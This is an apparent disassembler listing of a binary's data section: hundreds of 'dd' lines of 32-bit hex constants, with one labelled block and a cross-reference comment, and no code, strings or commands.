		dd 662612FEh, 0D241406Bh, 0E0735219h, 0E03361A2h, 170B210h
		dd 592797D2h, 26C5254h,	0A24882F8h, 41145E90h, 4412BFBDh
		dd 23A4F160h, 30F9B2BCh, 461EE5C9h, 44E43CD8h, 16F6C108h
		dd 158D050Eh, 8CC041C6h, 244D0574h, 35FAAF0h, 0DEC85CCBh
		dd 7ED33FC0h, 0C80E4B87h, 0AE3A7830h, 0AA0D8061h, 1AD167C7h
		dd 60E55805h, 70DCC101h, 2B7BD2CFh, 0B0994C8Ch,	1DA1D7Fh
		dd 0AC43526Bh, 9EF002B0h, 0C0908092h, 8096A110h, 305ADAF1h
		dd 0A4CC74C4h, 5DA8766Bh, 682288FCh, 0C8750627h, 0F097EBE4h
		dd 10ED25E7h, 0BC3930A1h, 0E265033Bh, 0F8E87095h, 0C1445E59h
		dd 79E4E778h, 2088253Ch, 97B69A4Ch, 1FD87F33h, 0D6FCEF22h
		dd 3EFD004Ch, 0C430706Ch, 515Fh, 0C15574F9h, 0D3392646h
		dd 49211A0h, 7113D5D7h,	4C1113C1h, 23002F2Bh, 0EB970738h
		dd 0A948D049h, 255D54ECh, 0F0AB0078h, 0CC8A90F8h, 4CAE3CC1h
		dd 9564B409h, 79C034C1h, 25CC4C5Ch, 896CC320h, 846D8F4Eh
		dd 3BC14078h, 64441045h, 9EDC64D8h, 0F6885088h,	54053491h
		dd 0C073ABEDh, 2E412766h, 0C991A403h, 92093850h, 0F99670B6h
		dd 603A890Fh, 29548E5Ch, 1948C746h, 0E8675987h,	0E960DDC4h
		dd 9E0CFDDCh, 0E8B92DFCh, 31C54F49h, 0A5CC8820h, 7B5CE4F1h
		dd 600D06D6h, 0F00E7641h, 1DCB252Dh, 80399100h,	31EB173Eh
		dd 0A802BD94h, 7084AB91h, 858E4F96h, 0A02292F1h, 52540409h
		dd 3DF2DCA2h, 1B69730h,	863F64DCh, 0D1F2C366h, 32718CD6h
		dd 75FE2C4h, 63316AB3h,	2BA2E0F5h, 0FA04CA3Dh, 1591765Ah
		dd 42C0A097h, 12102036h, 0D0B2132Bh, 378F0A70h,	4050EC2Fh
		dd 84040C3Ch, 465648BEh, 0C4F701A3h, 5EE5E8FFh,	0E12C172Fh
		dd 8CBCE89Ch, 602D5C2Eh, 80A1488Fh, 3411C537h, 0E7A931EFh
		dd 40F520h, 21A2D0Eh, 2CE5BECEh, 90F17644h, 0BB18DFD9h
		dd 59574F02h, 91EC258Eh, 0E99F27CCh, 0BC5A672Eh, 18D02FFBh
		dd 0E0D6B560h, 5A75F51h, 40128844h, 8409FFBCh, 8507E55Bh
		dd 0A093DB59h, 0EB2BD5B1h, 8000D4FEh, 0CE05888Eh, 4B00A545h
		dd 0BA1F5308h, 121AE5B3h, 0AC9A1837h, 0E71418C4h, 1690A959h
		dd 8888F2AAh, 2D5A6760h, 0C5C444C9h, 48FB8346h,	18F16931h
		dd 19009335h, 4895892Dh, 1BDC900h, 6EA50357h, 6E082492h
		dd 7847CC40h, 1D651310h, 40066735h, 1988344h, 0D8B14115h
		dd 0E5148030h, 57A1C510h, 2DF50908h, 0C077FC10h, 27EF5239h
		dd 1E50A089h, 32B27D6h,	0B23B2861h, 0E8D83F7Ah,	0E600DAAEh
		dd 0DCC4B723h, 1EFC8E87h, 0CB93FD13h, 0B819A7E7h, 0C043100Fh
		dd 2EAE5F20h, 0DF23DCh,	0E99C6270h, 6001A27Ah, 4B83D668h
		dd 0E4488772h, 86E00F1h, 490D4E1Ch, 66049D1Bh, 0CDA6FD54h
		dd 0C825A4A3h, 0DF79E851h, 0FD2C2B18h, 940125B3h, 1A854810h
		dd 2704DEEAh, 0DBD09061h, 0BFE6CFD0h, 2C47248h,	0E1B4C378h
		dd 1D5525h, 0E180DA11h,	0EFE66E06h, 0C5648E12h,	96E30CC0h
		dd 887BF1A5h, 3E17F300h, 0FC12F5F4h, 8E8058F8h,	8F641028h
		dd 0BFF05700h, 40B84AF2h, 34CC4808h, 0B365510h,	0E0BD2C51h
		dd 205CB6E8h, 204C3401h, 0DD640890h, 0BAF1068Fh, 2B5D174h
		dd 18D17A5Ch, 14B99023h, 3D0251B0h, 0E3414AD8h,	3061B288h
		dd 0D207F70Fh, 87A3E9B6h, 1C80A07Ah, 0E45066B9h, 469500B4h
		dd 0D93525CDh, 0DE171669h, 2822E63Ah, 0AC28DC7Ch, 0A98C8C68h
		dd 0D23167A9h, 0E697C81Dh, 8F44F30Ch, 0EC39212Ah, 67368009h
		dd 60556428h, 377017h, 0A8D77548h, 0D92D6EECh, 0D4B1BF4Fh
		dd 5CEC5C68h, 0E0F25C8Ch, 81081277h, 0A03CA78Fh, 3AFBBEF2h
		dd 0AF25170Fh, 49DE30C0h, 469E394Ch, 0BCF24BE4h, 4D6EA100h
		dd 0DDFCC1FAh, 4B0047BEh, 1684D298h, 0AC3B54BEh, 3C601246h
		dd 730AD67h, 91BDB17Ch,	90DCA039h, 83434C40h, 0DE92D590h
		dd 5BF238CBh, 0C107700Ch, 278EED03h, 959CC89h, 0A142B379h
		dd 15F2F8E1h, 929E0808h, 22E8021Bh, 78728713h, 0C77E7400h
		dd 6EA98A52h, 84701Dh, 0CDE65B8h, 2C88EA25h, 81604F69h
		dd 0F305240Dh, 542B1820h, 0C6EEC11h, 0AB6742FEh, 0A502CB80h
		dd 5076DD0Eh, 28C4A2E3h, 8C107766h, 0F8032B9Eh,	733E5DD4h
		dd 0A125D8C4h, 9F6704B4h, 0B36A9BFEh, 0E8007EE8h, 1FC2682Fh
		dd 145E3CFh, 502E01F2h,	0DBA10A4Ch, 0AE5D4ACAh,	0B5A343A4h
		dd 9442E819h, 2CEF18A2h, 0C9E5790Eh, 2374577Dh,	9DA4C512h
		dd 0AD00C0B2h, 0E07ECEDAh, 9B733F0Bh, 0F028FC00h, 7477831Eh
		dd 136E0129h, 5039926Bh, 6988414Ah, 1075EED5h, 83410B38h
		dd 19163E9h, 50C8FC35h,	0FE710046h, 0CD4520Eh, 3B4E7975h
		dd 543098F5h, 58EB4C0Fh, 9413110h, 6B3C71E3h, 57929040h
		dd 56E809BAh, 44C84128h, 0C8A1799Fh, 0EA9E01DCh, 0BF24C27Bh
		dd 11401D2Bh, 60EE80F9h, 0B2A6793h, 0FCC2F1A7h,	0D8452CFAh
		dd 0D0B56045h, 0C0C88804h
		dd 13672E9Ch, 3A844300h, 0B5E37DD8h, 102B122Dh,	1DB2AC58h
		dd 0A5C00Eh, 407482C5h,	0F4900827h, 3F2073E9h, 23EA05Ch
		dd 5490FA28h, 22556465h, 19A861Ch, 804B593Bh, 40A7CA34h
		dd 2B1260Ah, 807CCC69h,	806E9BF2h, 2AB07750h, 8E7312Ch
		dd 0B4A22893h, 1863AE25h, 4BD11DEh, 171E698Ch, 0ADC4B0FCh
		dd 7466AA4Bh, 0C27C5E38h, 0D0A28E4Ch, 48DEFC11h, 396AEF08h
		dd 0AD12049Dh, 0E4EECC09h, 94A91728h, 0AB9F2AF4h, 0D8700648h
		dd 0FD101681h, 12B8D840h, 5082EFF4h, 0A4D8A0F4h, 0D093826Bh
		dd 8215BDB9h, 5C712E71h, 0C3E45C5Bh, 0BA1ACAAh,	8204B79h
		dd 89D50ACDh, 4043D439h, 0D723C5E0h, 4313809Ah,	20B0644Fh
		dd 5494411h, 0C2135Eh, 840F3F3h, 0AB51C5D9h, 120ECF30h
		dd 0ACA01AC2h, 7BD5808Ch, 2A0420h, 6D41A2AAh, 4B29BCA5h
		dd 2188C800h, 4224AF34h, 98DD4BD8h, 8E016300h, 95F91A09h
		dd 0CD4E39Bh, 8DB803C3h, 102FD606h, 96FD15B8h, 0E428B718h
		dd 7B4C0B20h, 5F670046h, 0E3C52E11h, 0A574D27Fh, 5A96D50Ch
		dd 3839962h, 2732FA95h,	0FFC00215h, 12009F97h, 0CDCAF8B0h
		dd 78D163h, 0A1CEE438h,	4CF717B7h, 9100A798h, 0C9E7663Eh
		dd 1DB96AE8h, 6DF03787h, 0A5D9871h, 7D07458h, 4F26BBB1h
		dd 0BE08198Ch, 0F7185763h, 1F081078h, 0BF651861h, 0C4249120h
		dd 4D99F08h, 0A104FD9Ah, 511506FFh, 1ED52030h, 24402F1Fh
		dd 18483139h, 0CE010D0Bh, 9E0888F5h, 54630C15h,	0BE406B20h
		dd 105562A2h, 6E03DDE4h, 9B0818EEh, 6757185Dh, 16638C9Ah
		dd 19186218h, 91078708h, 9B209892h, 0CC8B2F59h,	0B5395D08h
		dd 0E144F440h, 91338803h, 0FC8C19D2h, 6CA5E04h,	20386CF0h
		dd 7B330A91h, 10E01050h, 3DE66279h, 0CB08E233h,	8CD3032Dh
		dd 0C6562810h, 883E507Fh, 82A0A8DAh, 0D4E58038h, 0C4010A80h
		dd 61D0708h, 63B94F31h,	1FEE10F7h, 4D10810h, 1011CE10h
		dd 0C218DCBDh, 5EC8305Ch, 64E708C4h, 4B71C30Ch,	0A8109162h
		dd 0ECC8A458h, 4347704h, 0BF06C990h, 0DF5408E4h, 5263E2D8h
		dd 2A422130h, 31B43BC0h, 0AB08DABEh, 8820925Bh,	0E401084Ah
		dd 8238B8Ch, 840C403Dh,	0A8C71A40h, 0A92E0AE8h,	0C01F19Ch
		dd 2ADD03DFh, 209C7221h, 0B82041ECh, 0E07620E5h, 49318520h
		dd 0D02A3046h, 66C320F8h, 45297E62h, 115206C5h,	0B2218D62h
		dd 6159061Ch, 20EB5820h, 0C92413AEh, 3A904463h,	105A3818h
		dd 0C1813390h, 75B88C51h, 0C64CA824h, 20E11708h, 84108F2Ah
		dd 0F184E62h, 4EE90502h, 191012B0h, 4808095Dh, 4943D452h
		dd 9880720h, 3B0C286Bh,	40604879h, 88926D1Eh, 101BD631h
		dd 0BD015CE7h, 10B403EAh, 180FFDD9h, 94204906h,	5118CC46h
		dd 0B4A978B9h, 7EE42479h, 40DA6840h, 0F049FEEDh, 314D20F0h
		dd 0DD086911h, 70C00160h, 8448CC02h, 10C473B0h,	0B09F4AFh
		dd 816CE426h, 10E29C31h, 3535A3h, 59B2E188h, 26BCE715h
		dd 49922811h, 220B6849h, 0A4FE8FC8h, 0EB04DA9Ch, 7771061Dh
		dd 0F2442028h, 34325520h, 5DD9E9B6h, 18C1D0FCh,	0CC08DE5Ch
		dd 0A118CA8Dh, 297188B8h, 943CF30Ah, 0A3E4D43Bh, 88747912h
		dd 0BA290B4h, 82ED8790h, 814BA027h, 0A48075AFh,	0C9071F10h
		dd 0E2D095FDh, 25EF68F1h, 7480CF58h, 0D2049383h, 0CC4FE707h
		dd 0FBB0B1EAh, 0F533FC6Ah, 0EA9596D0h, 3B794458h, 0E6F3D007h
		dd 7C4061C9h, 0FEFCC7Fh, 96794F3Eh, 12871EE1h, 0C9B074B5h
		dd 39BC5895h, 848092E5h, 56F276FCh, 0D2001E7Dh,	0F085B438h
		dd 4A82FD04h, 2B1CB1E3h, 807C4BC7h, 0A1B03008h,	0F284B578h
		dd 0EF67600h, 874349F9h, 0C1A000A3h, 85EF158Eh,	6A005047h
		dd 68943564h, 9F248799h, 8C9FEC87h, 4BCAB18h, 6271B980h
		dd 0D3D16DFh, 1D089C34h, 1517E0FAh, 0F111300Ch,	40F4804Bh
		dd 0E80EEBC5h, 20348F07h, 8793FE9Fh, 4E9D6ECh, 1CF5DB24h
		dd 6633197Eh, 80418E18h, 74724810h, 94CE0171h, 271EBDA5h
		dd 8480D62Ah, 0FBCFA8B5h, 0C95C2C73h, 0F19F02F8h, 724E8588h
		dd 0E8F92540h, 0D98AE0A0h, 0A97CFD4Ch, 58874912h, 8D3C880h
		dd 30616089h, 90E7ABF1h, 0A891844Fh, 1AECC028h,	0BB6B00DEh
		dd 0F6425CA0h, 0D00C5444h, 69551008h, 2C3E84D3h, 0A1906131h
		dd 13E0ACBDh, 7F1C90CCh, 981B289Ch, 0FFD71DD8h,	0ECF100E6h
		dd 5C931322h, 955DDA05h, 0E7001E04h, 0FE6CDCBEh, 2FC0A408h
		dd 280FB609h, 0A10B2E26h, 80F1E039h, 0CFC53AD8h, 14E083Dh
		dd 69074370h, 68AA87ABh, 959D3E28h, 65CC2EF7h, 94210DB0h
		dd 2C08D729h, 0B0CA9833h, 0E07960AEh, 2950E793h, 0C8CCA000h
		dd 322C3444h, 0A220CE4Bh, 0D8BAF666h, 11461601h, 0B9E7A3EFh
		dd 0C1C401FCh, 0D487A218h, 2A5988E3h, 3BF10964h, 18041803h
		dd 0D4506896h, 52508444h, 28C0EF50h, 88BEBB9h, 34C9069h
		dd 8729308Ch, 30007FF3h, 9254B6E4h, 913F1B8h, 0EA2E8CF9h
		dd 20860019h, 0BF02460Ch, 0E75C49F1h, 84C48C2h,	392003Eh
		dd 0FDD2EA17h, 9B09BFB3h, 0EE40905h, 89F1C368h,	4804B585h
		dd 6C82E9EBh, 8EC083Ch,	4401C91Eh, 66FF035h, 0D20166B8h
		dd 87AE681Fh, 0FD42CF6h, 0F1438B4h, 0EC10586Dh,	99F036h
		dd 8F7F9023h, 47814937h, 0F8B6FD3Fh, 1058C367h,	938810B9h
		dd 8A9424ADh, 14512494h, 79144C57h, 6010F4E6h, 125C50DEh
		dd 0D9EC6117h, 0A1133B0Fh, 871B9DA1h, 5094E0E1h, 90C2C41h
		dd 8B4943F4h, 0D7C72D14h, 7FA600D8h, 6D9DE7A4h,	0FF4B02C6h
		dd 6A334715h, 51868080h, 3217106Ch, 571D0F7Bh, 4A54AE9Dh
		dd 0F99D0908h, 751C7A81h, 4F392499h, 0A14A800h,	300FA03Bh
		dd 6C690044h, 0F43F9535h, 5B2F8612h, 0CF1B4C52h, 44ADB220h
		dd 0FF5BB0D0h, 0C042209Dh, 0E8D70D5Dh, 2090F173h, 2A5AEF00h
		dd 0C8DB9EBh, 0E98B0191h, 0CF3AA5D7h, 8C8A3026h, 70D08000h
		dd 377C08A9h, 10DC01FEh, 0D6794BA0h, 0F98EE412h, 8C634C01h
		dd 92B5822Bh, 4028C842h, 3A271A34h, 0CF99EFEh, 9034062Dh
		dd 0B502B9A0h, 1066DE0Ch, 6CEA8125h, 2EC9D0Bh, 6E7601FDh
		dd 18082C48h, 5B84504Ah, 9F3E68E7h, 15091966h, 84478F48h
		dd 28C8D183h, 127CAC59h, 26BA9766h, 3D282988h, 0C5009058h
		dd 7ECDA6E5h, 9098179h,	7A677165h, 0C202DCA0h, 8424FB4Ch
		dd 10411C51h, 0D99D99F1h, 0F4AFBDD8h, 0EFCD3C40h, 2A317E78h
		dd 8E9410CCh, 0F363AE8h, 2D454DECh, 0FA4ABF80h,	3300DA42h
		dd 200C73B2h, 1D8651A9h, 0C5EDB1Dh, 85C43E5Fh, 0CAE548h
		dd 0B42B47BFh, 302D9979h, 11E027E6h, 8648FB83h,	0DF4612FCh
		dd 63CA109h, 20E054D4h,	0A6734E64h, 907AFF30h, 3208FD90h
		dd 50C8F47Fh, 20AB8040h, 2F1B483Eh, 7F708002h, 61F52CE3h
		dd 5CC36817h, 0F7FC2035h, 0B720B867h, 62E510D0h, 12B6E090h
		dd 1F8F8B51h, 2044ACB0h, 0C0A226A4h, 0E4908A8h,	60C4031h
		dd 78715C30h, 7D90007Ch, 363E79DDh, 6A242E8Fh, 88419044h
		dd 38809EB7h, 9A7F4296h, 0FF320817h, 90B68031h,	0C3390ECh
		dd 0DB2191B3h, 3D3D5FE0h, 0CE080064h, 2CFEA868h, 0C8C664E4h
		dd 4C0088A6h, 0CA027E80h, 8A986B18h, 0A7AC0FCDh, 42CA4h
		dd 0DF706A36h, 87200CBAh, 8398928Fh, 762A523Ch,	3003B5Ch
		dd 107B3C94h, 89F00C31h, 8F79ED2Dh, 98C1A0AAh, 2AB98B96h
		dd 1F4090C0h, 5F340445h, 0C09CE208h, 9AAF6EACh,	46F3B204h
		dd 58846A4Ah, 41638C40h
		dd 1C0BF59h, 0F27FC836h, 20E4FE04h, 78909288h, 3A66AB18h
		dd 694F0978h, 309270F2h, 6CB0206Ah, 0CD699788h,	170094D0h
		dd 0B569C62Ch, 8683098h, 94C2F626h, 6C9DA8Fh, 1F10B705h
		dd 4084F213h, 0BA9D4075h, 0B450A291h, 2C13F7C8h, 8C1EDCE9h
		dd 886114EEh, 9C404557h, 261E2F8Ch, 66683C5Fh, 0A41038A5h
		dd 0AD0190BFh, 170DD35Ah, 0B3A2C08Fh, 72EDF51Ch, 3F70E07h
		dd 0B0076135h, 0FA70C7ABh, 5C204732h, 44CB4BAh,	0E0911D12h
		dd 9278FC34h, 0E82E4C1Eh, 9167B03Dh, 0F8C1B6FEh, 93B75040h
		dd 6AE72444h, 0DAA90014h, 3A2CBCB0h, 3902269h, 0A20FA14Ch
		dd 1E4E432h, 0E053E743h, 97D82238h, 5C409358h, 32B7DAE9h
		dd 131B058Ch, 5FB1AE87h, 654C41B8h, 4CB9909Ch, 64E3858Ch
		dd 6D5D09C0h, 0DD1B00A8h, 3B4FD4C9h, 104D0042h,	8F90CABAh
		dd 780B0B50h, 0C2C6014h, 949EA001h, 7BADC324h, 9CD8CCADh
		dd 0A2BAB501h, 30CF1392h, 0D2EC30h, 52A1C950h, 0AB632C84h
		dd 0EFE82A01h, 0F01EFB9Ah, 7569BD0h, 33888C62h,	8A37042h
		dd 1C94B797h, 28A284E4h, 565BEF17h, 93A00944h, 246C5008h
		dd 502E9Ch, 96F2B79Eh, 0F3B248Ch, 0D095D033h, 4C76102Ch
		dd 286D030Ah, 83CC4314h, 0A582Ch, 2980C1F0h, 3F9FFEFBh
		dd 76C0FA05h, 0D8920787h, 0CB48C28Ch, 0F380B974h, 0B8331074h
		dd 0B6FA24A3h, 0E7D404CCh, 91D687A5h, 81B26208h, 99BEB370h
		dd 402E6E32h, 310571BCh, 2D2E8854h, 5C800814h, 0E8E9E365h
		dd 7614B082h, 0BA951E07h, 0E0C60830h, 0D98E6504h, 0FEBA90C9h
		dd 3F3BB101h, 80C4FC2Ch, 0F88B3EC8h, 2B299DAh, 2AADE452h
		dd 6852460Fh, 1D0182E4h, 873C8DD2h, 0B852E124h,	0CEEB1050h
		dd 3464FCA1h, 28F5ACD8h, 0A61F7C14h, 9CCCC37Eh,	90B420C2h
		dd 0F8881840h, 982E49AFh, 9A0C6118h, 2F794A0h, 7BB83467h
		dd 0E35D556Ch, 25FAD824h, 0B237F882h, 6026EF80h, 26451012h
		dd 2C1789E4h, 0C45252D0h, 170C001Eh, 76AEF03Eh,	0CA0D6F7h
		dd 0FC400CF3h, 0BD589403h, 0E1A12C56h, 0D848A5C5h, 0D0A1D41h
		dd 0F8785E2h, 0B408044Bh, 0F2F0881Fh, 2939148Ch, 0E510FCD3h
		dd 0B4F7005Bh, 138DF952h, 0A64D03FAh, 98104FECh, 1888690Ch
		dd 9EC0FDh, 970A9AFBh, 2D104542h, 41FB937Ch, 0D986F6B8h
		dd 39C5099h, 530612B9h,	0C88F10CDh, 7FF83049h, 61742C21h
		dd 2DF06000h, 9032310Fh, 0C8DF2C7Ah, 0FA9D1DE0h, 6094670Ah
		dd 84604DEh, 0E60E815h,	329DE351h, 178EA08Ch, 87A84CF1h
		dd 70B82EF0h, 11485909h, 4D0DDE78h, 880011C0h, 0E0569A60h
		dd 0C1BF0350h, 5FFB0F2Fh, 68A62398h, 0F6878118h, 2608A141h
		dd 0A618A5AFh, 0A4F82D50h, 9B16F0A4h, 0C031B29Fh, 0AEECB753h
		dd 6B4BA0Eh, 0C182328Ch, 0D80110FCh, 186ECA3Ah,	0A860BCF1h
		dd 6CE0C8DAh, 0C8CB800h, 543A91A0h, 245F4C6h, 8643BE55h
		dd 48E4E008h, 492D7708h, 8FAE0439h, 88A3A2h, 602A108Eh
		dd 7857E1F8h, 43A90055h, 22836E2Bh, 710BAE95h, 14D3D92Dh
		dd 0C0449244h, 7CF8EB06h, 6A02B912h, 88067F5h, 1F7068A0h
		dd 8991EE87h, 51EB084Ch, 5C61CCD2h, 3374034h, 0F1DEC0Ch
		dd 78989B2Fh, 0E1F9107Eh, 10084447h, 600414F8h,	0E96E358Ch
		dd 2C0972F8h, 0C093EF11h, 80B50208h, 818FCC4h, 2128FD40h
		dd 49967860h, 6C591442h, 12F8868Ah, 10844F95h, 1758F28Ah
		dd 900009E3h, 104B8C44h, 18C22434h, 40088F42h, 22BECCABh
		dd 1288154Ah, 4B1080A4h, 11170477h, 7891CA99h, 0A10687Dh
		dd 2A79092Ch, 8F8DB93Bh, 80559CFFh, 502B0652h, 0C39115D1h
		dd 2F00F89Fh, 0E9CF4A9Eh, 42BDC408h, 89786024h,	13AF78B1h
		dd 0D1F9812Dh, 7799608h, 0EC043155h, 64D18EE6h,	9C665F03h
		dd 0B3F1E000h, 7097AE62h, 1226D000h, 7B30DB1Dh,	2CFB128Dh
		dd 81708551h, 949AC958h, 0CA804791h, 2A469483h,	0D2D9F750h
		dd 8A4C2880h, 2CF09E3Bh, 0CB64533Eh, 4B103861h,	0D1841438h
		dd 8BF90457h, 628CECB4h, 0EE50B8C1h, 9892F4FAh,	0F151F760h
		dd 950CFEA8h, 0C68B6CC0h, 2579580h, 0DCD363Ah, 7889E67Fh
		dd 88B67080h, 1A09C998h, 98945308h, 6CD900h, 44312999h
		dd 1C9A6F2Dh, 5EB69B00h, 0F8F7AB75h, 0FC7F0142h, 2708BAC9h
		dd 0C31C2895h, 21048191h, 183205D9h, 0F05844h, 97A3B809h
		dd 8F20A160h, 6CA86267h, 79AF98D0h, 0E18E2DE3h,	30805432h
		dd 0F13A590h, 0DC298710h, 14188B0Fh, 0F861251Ch, 0FCCAC6A2h
		dd 8729F061h, 179913E8h, 42F99480h, 0AF23075Dh,	0E0731038h
		dd 3F1434B4h, 7401314Ah, 0FB4808A0h, 4CB7D087h,	0F025076h
		dd 5F055953h, 8750A02Ch, 70D24C82h, 1FD139E0h, 0BF0E6200h
		dd 25068435h, 232AC600h, 5D2D9742h, 731C9033h, 0BC1710Dh
		dd 9BD379B9h, 320F5880h, 30041F3Bh, 3550089Ch, 0A8174D0h
		dd 968F0456h, 0AC5B7F2Ch, 83EC5C48h, 1C38788h, 1437ECF0h
		dd 20820266h, 2A302CE4h, 0A7967001h, 6746F0D5h,	0B245A8CEh
		dd 0C082D0D6h, 0FC60FAF3h, 0AB302CBDh, 8496607Dh, 5CEB794Fh
		dd 0BF241821h, 0ABFA6008h, 0A10E5F46h, 0F6FD08F0h, 4015308Ch
		dd 0A03B102Eh, 9C40DADBh, 0D9BDD729h, 2D0613A3h, 9F60B0D0h
		dd 83C9B739h, 7D8707B8h, 406800D7h, 0BAA85C84h,	0B8909010h
		dd 0B4806B4Eh, 68275Bh,	78499DCAh, 6E10C9Fh, 45F35202h
		dd 408456BCh, 159D44EBh, 40A66F10h, 8100B33Eh, 26CF1788h
		dd 0EC00F90Dh, 0A4DD57Ch, 7FEA22FBh, 9DC7484h, 70C72D1Fh
		dd 0BBE480E8h, 10667600h, 0C60BC49h
dword_4E414C	dd 90C804CFh, 0A0F1F02Dh, 0B016C950h, 0EC436B87h, 7C4F2Ch
					; DATA XREF: ___:off_43A1B8o
		dd 0D21EA340h, 5FFDBB67h, 0E4028C12h, 501D4813h, 87200C20h
		dd 9A3898DCh, 0F8F6813h, 0AFA20037h, 0BDFC5994h, 0D8A43D99h
		dd 0C42C3CFCh, 0C0B2D2F9h, 0F4FD9D14h, 0F1761100h, 2DEF089Ah
		dd 0C479CCA1h, 1C48ABACh, 5C69030Ch, 0B0FA3D35h, 3108A267h
		dd 1750C9C7h, 0F4D1C593h, 0F8592CFFh, 0D86726A0h, 1D019708h
		dd 8C2B00ACh, 42B10905h, 0B4B338C0h, 985725D8h,	0F61E7AD0h
		dd 2FCB0BDh, 53096C39h,	1A021640h, 8065040Fh, 0ABDDB3D4h
		dd 0D04CD200h, 0D4F90C2Eh, 96310242h, 3CEC2D92h, 0B881505Ah
		dd 0F2473A0h, 0E0DF974Ch, 6E26043Ch, 2DD51265h,	0CBDC9255h
		dd 8EF39C68h, 76D91141h, 19D00005h, 6A29A5D5h, 0BAA39B00h
		dd 724399F9h, 0E5800589h, 0D3A71705h, 18CD298h,	77ED7B92h
		dd 64FF42Ch, 0A03DD508h, 0D809C35Bh, 16D8DC7Dh,	703897BAh
		dd 12323E65h, 50CC9C01h, 802CAA8Bh, 93780B2Eh, 0BB594A5h
		dd 1420D48Ch, 0AA09A813h, 51B0F000h, 42C4D80Bh,	0A4343C46h
		dd 5796790Ah, 0E1893B08h, 1878622Ch, 0F728AE17h, 40577430h
		dd 0E36C04ACh, 95964210h, 9160038Ch, 8AC57FF7h,	0ABC862E8h
		dd 25A05839h, 2070B309h, 2D0F1717h, 40DA9488h, 8A29F83Bh
		dd 950A8838h, 510080E2h, 4DB4AE90h, 0C8433291h,	8F113169h
		dd 84689F01h, 2D98AB38h, 48824C95h, 685A2B84h, 0FC9448B0h
		dd 5394983Ah, 4C7C7918h, 104C608Fh, 785C2C43h, 5B3BFC43h
		dd 47E90342h, 0E0F9D3ABh, 476A515h, 21DA2C49h, 0A5CF290h
		dd 0A4A1D3ADh, 9F00861h, 6F033472h, 844E91F4h, 0E334E5D4h
		dd 0E84FA0DBh, 604FAC2Ch, 92FC6016h, 95171D9Ah,	280AC4B9h
		dd 0E4A6BC54h, 59AD9803h, 25687B05h, 7085F8B5h,	2884808Ch
		dd 0AA4E9026h, 673DFC21h, 0ABE1A103h, 2C3C7696h, 600A5514h
		dd 0C503C8FAh, 0A0FB3923h, 24AC3338h, 0B2B212h,	5B05535Ah
		dd 8C00F999h, 4EB8B97Bh, 0B24AC32Ch, 343C0038h,	878D6898h
		dd 9381175Ch, 0E0FDAC42h, 33885B0Ch, 0B4187040h, 2BCF18D0h
		dd 807F0E3Ch, 0E97D64F1h, 4AA682Ch, 6C0744F8h, 80F316h
		dd 0B3A36D4Ch, 7745727Fh, 79881803h, 4E8350D4h,	127F20Eh
		dd 0B03BEABBh, 0AC054C9Dh, 48A43AA8h, 43C840EDh, 11713000h
		dd 0B582362Dh, 23C927Ch, 0C7501AF9h, 7C626AEDh,	14D8C40h
		dd 1776A980h, 0C1F2642Dh, 0F2025F9Ch, 92E73300h, 5944B84h
		dd 1E272890h, 2FE422B4h, 9C4E115Fh, 15DC6491h, 0CE05889h
		dd 3281C799h, 0AF9C236Fh, 7901B8EBh, 9112E041h,	5089AD31h
		dd 0ECEC6429h, 322D1027h, 286CA68Ch, 0D7C00560h, 0C04DB7C7h
		dd 99A1FECCh, 0B902CDE8h, 93090C88h, 0B7DC4406h, 7A6E0400h
		dd 8F734497h, 0C9AB7h, 0AF2CFE0Ch, 5BEC9489h, 0C02D73A0h
		dd 0C3127CB1h, 8CB46C0Ah, 0B86D8806h, 90A1C028h, 33ED0849h
		dd 0D5D420BDh, 0A55AAAh, 0F2C3AFAh, 0F0F46347h,	8390C303h
		dd 0EA4B82Dh, 5E082298h, 2C590449h, 7AC18EC2h, 4BF90088h
		dd 5C46CDE7h, 6C4C10ECh, 0F169811Ch, 60EA51D9h,	24587374h
		dd 19FF82D4h, 0D4F850F4h, 5216E7FFh, 0BF09C52Ch, 984841E9h
		dd 257CC038h, 0D03A5B45h, 2E1580C1h, 59B73800h,	4DBF2D99h
		dd 7D11BC53h, 0A01C5067h, 6E602FF6h, 0AAFB9458h, 304F093h
		dd 0CF984606h, 96D84A3Ah, 0E0B6E808h, 0B3B61105h, 100D7CF2h
		dd 0D811BBFDh, 7101C1F2h, 873AEEEFh, 0A880EB58h, 0BC547F02h
		dd 9B19B8A9h, 109EE7A4h, 84D9E9BAh, 486FF518h, 0C9013E66h
		dd 8A5F86Ch, 78898603h,	280B2116h, 34C02C61h, 8866B3E4h
		dd 4D10C1D8h, 2F10A4B6h, 5498016Ah, 0E4033E36h,	0C4CEEDDCh
		dd 0A89029A9h, 0D113C41Ch, 5CFB8400h, 0EB008F23h, 92A28079h
		dd 29496B9h, 733FD16h, 0A0A2B009h, 10D32729h, 3A340941h
		dd 6308282Eh, 3C405B5Eh, 0F1A2E7ABh, 0C8854A74h, 8C12EB70h
		dd 5C138F08h, 0DF2C3C20h, 77A68042h, 11E8040Ah,	14838820h
		dd 91AD887h, 0EA328D60h, 65CF9C5Bh, 8400E645h, 0DB085330h
		dd 4649023h, 422CC3BBh,	0F87CA570h, 700EEA2h, 7F901B99h
		dd 3A1D6525h, 0B05D86E9h, 97BC9D01h, 2CF15035h,	0A74C14h
		dd 4B0DC65Fh, 30083148h, 28601E1Fh, 0B43B2FD8h,	3545803Bh
		dd 861D946Eh, 0ECB00172h, 0F58F204Fh, 530F3A90h, 0B82E24ABh
		dd 15A6E488h, 0E0AF0691h, 0E9115C49h, 6658A1h, 0A5692D49h
		dd 0EBE09C0h, 6686F4C4h, 0B240A898h, 0BA0130Eh,	0ECFBE011h
		dd 25B68238h, 98EA160Ah, 0EE44A402h, 0EB004472h, 0F9AED1A6h
		dd 4F1D5EDh, 872C5158h,	8F40B068h, 10FC354Ch, 30582823h
		dd 4AC43426h, 5F31244h,	103889Ch, 9E871380h, 0A060929Ah
		dd 880D2CF3h, 6C186EA9h, 0A8CCDDD4h, 0B0CDE064h, 2E484Ch
		dd 0FD95007Ch, 8EF0569Ah, 4098EF73h, 0E2F34A00h, 1814B430h
		dd 82C1227h, 50ACE05Dh,	249D8E3Ch, 0F993A45Bh, 83953303h
		dd 6C3F98C7h, 0FFAA3088h, 470A8580h, 0F5393113h, 8D048813h
		dd 2487676Dh, 8BF34F93h, 0C49F8879h, 49FA20h, 0B15F3D12h
		dd 4B0EF875h, 4E571001h, 0B5D90877h, 602C3874h,	0F70FE832h
		dd 0DF0C6894h, 827B90EAh, 0CEFE0131h, 2923112Eh, 879BDD17h
		dd 46B59C08h, 0F06D530h, 4014BC49h, 7B37877Dh, 2E8F2A0Fh
